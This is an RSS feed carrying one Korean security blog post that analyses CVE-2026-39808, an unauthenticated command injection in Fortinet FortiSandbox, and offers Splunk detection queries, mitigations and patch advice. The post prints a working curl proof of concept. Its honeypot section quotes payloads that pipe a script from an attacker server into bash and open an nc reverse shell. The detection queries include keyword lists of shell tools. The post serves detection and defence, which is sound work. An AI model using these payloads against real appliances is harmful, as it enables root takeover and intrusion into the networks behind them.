<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Y0.0NS</title>
    <link>https://y0-0ns.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Sun, 19 Jul 2026 05:36:39 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>y0.0ns</managingEditor>
    <image>
      <title>Y0.0NS</title>
      <url>https://tistory1.daumcdn.net/tistory/6219280/attach/968287777a824c2789d7663abd036dc8</url>
      <link>https://y0-0ns.tistory.com</link>
    </image>
    <item>
      <title>CVE-2026-39808: Fortinet FortiSandbox OS Command Injection 취약점 분석 및 Splunk SPL 탐지 쿼리</title>
      <link>https://y0-0ns.tistory.com/31</link>
      <description>&lt;h2 data-sourcepos=&quot;7:1-7:24;208-231&quot; data-ke-size=&quot;size26&quot;&gt;1. 취약점 설명&lt;/h2&gt;
&lt;p data-sourcepos=&quot;9:1-9:157;233-389&quot; data-ke-size=&quot;size16&quot;&gt;Fortinet FortiSandbox의 특정 엔드포인트에서 jid 파라미터가 검증 없이 OS 명령어로 전달되어, 인증 없이 root 권한으로 임의 명령어를 실행할 수 있는 취약점. curl 명령어 하나로 익스플로잇이 가능하며 PoC가 공개된 이후 실제 공격이 관찰되고 있다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;13:1-13:13;396-408&quot; data-ke-size=&quot;size26&quot;&gt;2. 취약점 개요&lt;/h2&gt;
&lt;div data-sourcepos=&quot;15:1-26:35;410-784&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt; 항목 &lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt; 내용 &lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE 번호&lt;/td&gt;
&lt;td&gt;CVE-2026-39808&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;9.8 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발표일&lt;/td&gt;
&lt;td&gt;2026년 4월 14일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-78 (OS Command Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 제품&lt;/td&gt;
&lt;td&gt;Fortinet FortiSandbox 4.4.0 ~ 4.4.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약 조건&lt;/td&gt;
&lt;td&gt;인증 불필요, 네트워크 접근 가능하면 즉시 공격 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;발견자&lt;/td&gt;
&lt;td&gt;Samuel de Lucas Maroto (KPMG Spain)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;패치 버전&lt;/td&gt;
&lt;td&gt;4.4.9 또는 v5.0.0 이상&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PoC 공개&lt;/td&gt;
&lt;td&gt;2026년 4월 (GitHub 공개)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실제 공격&lt;/td&gt;
&lt;td&gt;관찰됨 (허니팟 센서에 공격 시도 포착)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;28:1-29:226;786-1032&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;28:3-29:226;788-1032&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;FortiSandbox란?&lt;/b&gt; Fortinet의 고급 위협 탐지 솔루션. 의심스러운 파일과 URL을 격리된 환경(샌드박스)에서 실행해 악성 여부를 판정한다. 방화벽, 이메일 보안, EDR, SIEM, SOAR 등 다른 Fortinet 제품들이 이 판정 결과를 기반으로 차단 결정을 내리거나 자동화 플레이북을 실행하기 때문에, FortiSandbox가 침해되면 Fortinet Security Fabric 전체의 신뢰성이 무너진다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote data-sourcepos=&quot;31:1-32:163;1034-1226&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;31:3-32:163;1036-1226&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OS Command Injection이란?&lt;/b&gt; 사용자 입력값이 검증 없이 OS 명령어로 전달될 때 발생하는 취약점. SQL 인젝션이 DB 쿼리를 조작한다면, OS Command Injection은 운영체제 명령어 자체를 조작한다. CWE-78로 분류되며 OWASP Top 10:2025 A05(Injection) 카테고리에 포함된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;36:1-36:15;1233-1247&quot; data-ke-size=&quot;size26&quot;&gt;3. 익스플로잇 방식&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;38:1-38:15;1249-1263&quot; data-ke-size=&quot;size23&quot;&gt;취약점의 근본 원인&lt;/h3&gt;
&lt;p data-sourcepos=&quot;40:1-40:113;1265-1377&quot; data-ke-size=&quot;size16&quot;&gt;취약점은 /fortisandbox/job-detail/tracer-behavior 엔드포인트의 jid GET 파라미터에 있다. 이 파라미터가 입력값 검증 없이 시스템 셸 명령어에 직접 전달된다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;42:1-52:4;1379-1602&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;정상 동작:
GET /fortisandbox/job-detail/tracer-behavior?jid=12345
&amp;rarr; jid=12345 가 내부 명령어에 그대로 전달
&amp;rarr; 해당 작업의 추적 행위 정보를 반환

취약한 코드 흐름:
system(&quot;tracer-behavior --job &quot; + jid)
&amp;rarr; jid 값을 검증 없이 명령어에 붙임
&amp;rarr; jid에 파이프(|)를 넣으면 명령어 체인 가능&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-sourcepos=&quot;54:1-54:28;1604-1631&quot; data-ke-size=&quot;size23&quot;&gt;파이프(|) 기호를 이용한 명령어 체인&lt;/h3&gt;
&lt;div data-sourcepos=&quot;56:1-65:4;1633-1766&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;Unix/Linux에서 파이프(|) 기호:
명령어A | 명령어B
&amp;rarr; 명령어A의 출력을 명령어B의 입력으로 전달

공격에서 활용:
jid=|(임의명령어)|
&amp;rarr; 앞의 정상 명령어를 파이프로 끊고
&amp;rarr; 공격자가 원하는 명령어를 실행&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;67:1-67:11;1768-1778&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;67:1-67:11;1768-1778&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 흐름:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;69:1-84:4;1780-2072&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;1. 공격자가 조작된 GET 요청 전송 (인증 불필요)

2. jid 파라미터에 파이프 + 명령어 삽입
   jid=|(id &amp;gt; /web/ng/out.txt)|

3. FortiSandbox가 파이프 뒤 명령어를 root 권한으로 실행
   &amp;rarr; id 명령어 실행 결과를 웹 루트에 저장

4. 공격자가 브라우저로 결과 파일 접근
   http://[FortiSandbox]/ng/out.txt
   &amp;rarr; uid=0(root) 확인

5. 원하는 명령어로 교체
   &amp;rarr; 백도어 설치, 자격증명 탈취, 내부망 이동&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-sourcepos=&quot;86:1-86:14;2074-2087&quot; data-ke-size=&quot;size23&quot;&gt;실제 PoC 코드&lt;/h3&gt;
&lt;div data-sourcepos=&quot;88:1-96:4;2089-2345&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;# 발견자 samu-delucas가 공개한 PoC
curl -s -k --get &quot;http://$HOST/fortisandbox/job-detail/tracer-behavior&quot; \
     --data-urlencode &quot;jid=|(id &amp;gt; /web/ng/out.txt)|&quot;

# 결과 확인
curl -s -k &quot;http://$HOST/ng/out.txt&quot;
&amp;rarr; uid=0(root) gid=0(root) groups=0(root) 출력&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;98:1-99:152;2347-2516&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;98:3-99:152;2349-2516&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 특히 위험하냐면&lt;/b&gt;: curl 명령어 하나로 인증 없이 root 권한 실행이 가능하다. 기술적 난이도가 거의 없어서 스크립트 키디 수준에서도 악용 가능하다. 또한 FortiSandbox가 침해되면 악성 파일을 정상으로 판정해서 연결된 Fortinet 제품들이 악성 트래픽을 허용하게 된다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-sourcepos=&quot;101:1-101:19;2518-2536&quot; data-ke-size=&quot;size23&quot;&gt;실제 공격에서 관찰된 패턴&lt;/h3&gt;
&lt;p data-sourcepos=&quot;103:1-103:19;2538-2556&quot; data-ke-size=&quot;size16&quot;&gt;허니팟 센서에 포착된 공격 시도:&lt;/p&gt;
&lt;div data-sourcepos=&quot;105:1-114:4;2558-2755&quot;&gt;
&lt;div&gt;bash&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;gherkin&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;# 시스템 정보 수집
jid=|(whoami; id; hostname; ip addr; cat /etc/passwd &amp;gt; /web/ng/out.txt)|

# 지속 접근 확보
jid=|(curl http://공격자서버/backdoor.sh | bash)|

# 내부망 피버팅
jid=|(nc -e /bin/sh 공격자IP 4444)|&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;118:1-118:29;2762-2790&quot; data-ke-size=&quot;size26&quot;&gt;4. 어디서 흔적이 남는가 (로그 소스 매핑)&lt;/h2&gt;
&lt;div data-sourcepos=&quot;120:1-126:65;2792-3094&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 122px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;로그 소스&lt;/td&gt;
&lt;td style=&quot;height: 17px;&quot;&gt;탐지 가능한 흔적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;웹 서버/프록시 로그&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;/fortisandbox/job-detail/tracer-behavior 엔드포인트로의 비정상 GET 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;방화벽 로그&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;FortiSandbox에서 외부로의 비정상 아웃바운드 연결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;EDR/Sysmon&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;root 권한 비정상 프로세스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;네트워크 로그&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;포트 443/8443으로 들어오는 의심 GET 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 21px;&quot;&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;FortiSandbox 자체 로그&lt;/td&gt;
&lt;td style=&quot;height: 21px;&quot;&gt;웹 루트에 생성된 비정상 파일 (out.txt, proof.php 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;blockquote data-sourcepos=&quot;128:1-129:141;3096-3256&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;128:3-129:141;3098-3256&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;탐지의 핵심 어려움&lt;/b&gt; 공격 트래픽이 일반 HTTPS GET 요청처럼 보인다. jid 파라미터에 파이프 문자가 URL 인코딩되어 전달되면(%7C) 단순 패턴 매칭으로는 탐지하기 어렵다. 웹 루트에 비정상 파일이 생성되는지 모니터링하는 것이 가장 확실한 탐지 포인트다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;133:1-133:16;3263-3278&quot; data-ke-size=&quot;size26&quot;&gt;5. SPL 탐지 쿼리&lt;/h2&gt;
&lt;h3 data-sourcepos=&quot;135:1-135:41;3280-3320&quot; data-ke-size=&quot;size23&quot;&gt;기본형: tracer-behavior 엔드포인트 비정상 접근 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;137:1-146:4;3322-3710&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;index=proxy_logs OR index=waf_logs
| search uri_path=&quot;*/fortisandbox/job-detail/tracer-behavior*&quot;
| rex field=uri_query &quot;jid=(?&amp;lt;jid_value&amp;gt;[^&amp;amp;]+)&quot;
| eval suspicious=if(match(jid_value, &quot;(\||\;|\`|\$\(|%7C|%3B|%60)&quot;), 1, 0)
| where suspicious=1
| stats count as attempt_count by src_ip, uri_path, jid_value
| sort -attempt_count
| table src_ip, uri_path, jid_value, attempt_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;148:1-148:11;3712-3722&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;149:1-151:47;3723-3876&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;149:1-149:40;3723-3762&quot;&gt;tracer-behavior 엔드포인트로 들어오는 요청만 필터링&lt;/li&gt;
&lt;li data-sourcepos=&quot;150:1-150:67;3763-3829&quot;&gt;jid 파라미터 값을 추출해서 파이프(|), 세미콜론(;), 백틱 등 명령어 체인 문자가 포함됐는지 확인&lt;/li&gt;
&lt;li data-sourcepos=&quot;151:1-151:47;3830-3876&quot;&gt;URL 인코딩된 형태(%7C = |, %3B = ;)도 함께 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;155:1-155:40;3883-3922&quot; data-ke-size=&quot;size23&quot;&gt;개선형: 비정상 GET 요청 + 이후 아웃바운드 연결 연계 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;157:1-171:4;3924-4522&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;index=proxy_logs OR index=waf_logs
| search uri_path=&quot;*/fortisandbox/job-detail/tracer-behavior*&quot;
| rex field=uri_query &quot;jid=(?&amp;lt;jid_value&amp;gt;[^&amp;amp;]+)&quot;
| eval suspicious=if(match(jid_value, &quot;(\||\;|\`|%7C|%3B|%60|whoami|id|passwd|wget|curl|nc|bash|sh)&quot;), 1, 0)
| where suspicious=1
| stats count as inject_count by src_ip, _time span=5m
| join type=left src_ip
    [search index=firewall_logs
     | where direction=&quot;outbound&quot;
     | where dest_port IN (4444, 8080, 9001, 1080, 31337)
     | stats count as c2_count by src_ip]
| where isnotnull(c2_count)
| table src_ip, inject_count, c2_count&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;173:1-173:11;4524-4534&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;174:1-176:40;4535-4684&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;174:1-174:61;4535-4595&quot;&gt;명령어 인젝션 키워드(whoami, id, wget, curl, nc 등)까지 포함해서 더 정교하게 탐지&lt;/li&gt;
&lt;li data-sourcepos=&quot;175:1-175:49;4596-4644&quot;&gt;join으로 인젝션 시도 후 비표준 포트로 아웃바운드 연결(C2 통신)까지 연계&lt;/li&gt;
&lt;li data-sourcepos=&quot;176:1-176:40;4645-4684&quot;&gt;두 조건 동시 만족 = 익스플로잇 성공 후 백도어 통신 가능성 높음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-sourcepos=&quot;180:1-180:22;4691-4712&quot; data-ke-size=&quot;size23&quot;&gt;웹 루트 비정상 파일 생성 탐지&lt;/h3&gt;
&lt;div data-sourcepos=&quot;182:1-190:4;4714-5032&quot;&gt;
&lt;div&gt;spl&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #14181f;&quot; data-ke-language=&quot;sql&quot;&gt;&lt;code&gt;index=fortisandbox_logs OR index=linux_logs
| search file_path=&quot;/web/ng/*&quot;
| eval suspicious_file=if(match(file_name, &quot;(out\.txt|proof\.php|cmd\.php|shell\.php|\.sh)&quot;), 1, 0)
| where suspicious_file=1
| stats count by host, file_path, file_name, _time
| sort -_time
| table host, file_path, file_name, _time&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;192:1-192:11;5034-5044&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;쿼리 설명:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;193:1-195:43;5045-5181&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;193:1-193:45;5045-5089&quot;&gt;PoC가 결과를 웹 루트(/web/ng/)에 파일로 저장하는 패턴을 탐지&lt;/li&gt;
&lt;li data-sourcepos=&quot;194:1-194:49;5090-5138&quot;&gt;out.txt, proof.php 같은 PoC에서 자주 쓰이는 파일명을 탐지&lt;/li&gt;
&lt;li data-sourcepos=&quot;195:1-195:43;5139-5181&quot;&gt;FortiSandbox 로그가 Splunk로 수집되는 환경에서 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-sourcepos=&quot;197:1-197:113;5183-5295&quot; data-ke-style=&quot;style2&quot;&gt;
&lt;p data-sourcepos=&quot;197:3-197:113;5185-5295&quot; data-ke-size=&quot;size16&quot;&gt;⚠️ &lt;b&gt;인덱스명 안내&lt;/b&gt;: proxy_logs, waf_logs, firewall_logs, fortisandbox_logs는 예시다. 실제 환경의 인덱스명으로 변경 후 사용할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;201:1-201:16;5302-5317&quot; data-ke-size=&quot;size26&quot;&gt;6. 오탐지 줄이는 팁&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;203:1-205:70;5319-5557&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;203:1-203:87;5319-5405&quot;&gt;&lt;b&gt;정상 jid 파라미터&lt;/b&gt;: 일반적인 작업 ID는 숫자나 알파숫자 조합이다. jid 값에 파이프, 세미콜론, 공백 + 명령어가 포함되면 즉시 의심&lt;/li&gt;
&lt;li data-sourcepos=&quot;204:1-204:82;5406-5487&quot;&gt;&lt;b&gt;URL 인코딩 우회&lt;/b&gt;: 공격자가 %7C(파이프), %3B(세미콜론) 같이 인코딩해서 보낼 수 있으므로 인코딩된 형태도 반드시 포함&lt;/li&gt;
&lt;li data-sourcepos=&quot;205:1-205:70;5488-5557&quot;&gt;&lt;b&gt;내부 보안팀 스캐닝&lt;/b&gt;: 취약점 스캐너가 해당 엔드포인트를 점검하는 경우 오탐 가능 &amp;rarr; 스캐너 IP 화이트리스트 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;209:1-209:20;5564-5583&quot; data-ke-size=&quot;size26&quot;&gt;7. 임시 대응 / 패치 정보&lt;/h2&gt;
&lt;p data-sourcepos=&quot;211:1-211:17;5585-5601&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;패치 적용 (최우선):&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;213:1-216:33;5603-5694&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;버전&lt;/td&gt;
&lt;td&gt;조치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4.4.0 ~ 4.4.8&lt;/td&gt;
&lt;td&gt;4.4.9 이상으로 업그레이드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5.0.0 이전&lt;/td&gt;
&lt;td&gt;v5.0.0 이상으로 업그레이드&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;218:1-218:21;5696-5716&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;즉시 적용 가능한 완화 조치:&lt;/b&gt;&lt;/p&gt;
&lt;p data-sourcepos=&quot;218:1-218:21;5696-5716&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-sourcepos=&quot;218:1-218:21;5696-5716&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 관리 인터페이스 접근 제한&lt;/b&gt; (가장 효과적)&lt;/p&gt;
&lt;div data-sourcepos=&quot;221:1-224:4;5749-5805&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;포트 443, 8443을 신뢰된 관리자 IP에서만 접근 가능하도록
방화벽/ACL로 제한&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 취약 엔드포인트 차단&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;227:1-230:4;5826-5893&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;nginx&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;WAF 또는 방화벽에서
'/fortisandbox/job-detail/' 경로로의 일반 서브넷 트래픽 차단&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 이미 침해된 경우&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;233:1-238:4;5912-6013&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;패치만으로는 부족
&amp;rarr; FortiSandbox 어플라이언스 완전 재구축 필요
&amp;rarr; 연결된 Fortinet 제품들의 판정 결과 신뢰성 재검토
&amp;rarr; 내부망 전체 침해 여부 확인&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;242:1-242:25;6020-6044&quot; data-ke-size=&quot;size26&quot;&gt;8. CVE-2025-20393과 비교&lt;/h2&gt;
&lt;p data-sourcepos=&quot;244:1-244:63;6046-6108&quot; data-ke-size=&quot;size16&quot;&gt;이전에 다뤘던 Cisco SEG 취약점과 같은 유형(OS Command Injection)이지만 차이점이 있다.&lt;/p&gt;
&lt;div data-sourcepos=&quot;246:1-253:40;6110-6434&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;항목&lt;/td&gt;
&lt;td&gt;CVE-2025-20393&lt;/td&gt;
&lt;td&gt;CVE-2026-39808&lt;span&gt; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;영향 제품&lt;/td&gt;
&lt;td&gt;Cisco Secure Email Gateway&lt;/td&gt;
&lt;td&gt;Fortinet FortiSandbox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;취약점 유형&lt;/td&gt;
&lt;td&gt;OS Command Injection (CWE-20)&lt;/td&gt;
&lt;td&gt;OS Command Injection (CWE-78)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인증 필요&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;td&gt;불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PoC 공개&lt;/td&gt;
&lt;td&gt;비공개&lt;/td&gt;
&lt;td&gt;공개 (GitHub)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;실제 공격&lt;/td&gt;
&lt;td&gt;APT 그룹 활용&lt;/td&gt;
&lt;td&gt;허니팟에서 공격 시도 포착&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;핵심 위험&lt;/td&gt;
&lt;td&gt;이메일 보안 장비 장악&lt;/td&gt;
&lt;td&gt;보안 판정 시스템 장악&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-sourcepos=&quot;255:1-255:9;6436-6444&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공통점:&lt;/b&gt;&lt;/p&gt;
&lt;div data-sourcepos=&quot;256:1-260:4;6445-6544&quot;&gt;
&lt;div&gt;
&lt;pre class=&quot;1c&quot; style=&quot;color: #14181f;&quot;&gt;&lt;code&gt;둘 다 보안 장비 자체가 공격 대상
&amp;rarr; 보안 장비가 뚫리면 그 장비를 믿는 다른 시스템도 무너짐
&amp;rarr; &quot;보안 장비는 안전하다&quot;는 가정이 얼마나 위험한지 보여주는 사례&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-sourcepos=&quot;264:1-264:16;6551-6566&quot; data-ke-size=&quot;size26&quot;&gt;9. 마무리 / 한계점&lt;/h2&gt;
&lt;p data-sourcepos=&quot;266:1-266:18;6568-6585&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 SPL 쿼리의 한계:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-sourcepos=&quot;267:1-269:36;6586-6720&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-sourcepos=&quot;267:1-267:58;6586-6643&quot;&gt;FortiSandbox 로그가 Splunk로 수집되지 않는 환경에서는 웹 루트 파일 생성 탐지 불가&lt;/li&gt;
&lt;li data-sourcepos=&quot;268:1-268:41;6644-6684&quot;&gt;공격자가 URL 인코딩을 이중/삼중으로 적용하면 패턴 매칭 우회 가능&lt;/li&gt;
&lt;li data-sourcepos=&quot;269:1-269:36;6685-6720&quot;&gt;PoC 외 변형 공격 패턴은 키워드 기반 탐지로 잡기 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-sourcepos=&quot;271:1-271:123;6722-6844&quot; data-ke-size=&quot;size16&quot;&gt;보안 장비는 &quot;신뢰의 앵커&quot;다. FortiSandbox처럼 다른 보안 제품들이 판정을 위임하는 장비가 침해되면, 한 번의 공격으로 전체 보안 패브릭이 무력화된다. 패치 속도가 그 어느 제품보다 중요한 이유가 여기 있다.&lt;/p&gt;
&lt;p data-sourcepos=&quot;273:1-273:46;6846-6891&quot; data-ke-size=&quot;size16&quot;&gt;더 나은 탐지 방법이나 실제 운영 환경에서의 개선점이 있다면 댓글로 공유해주세요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
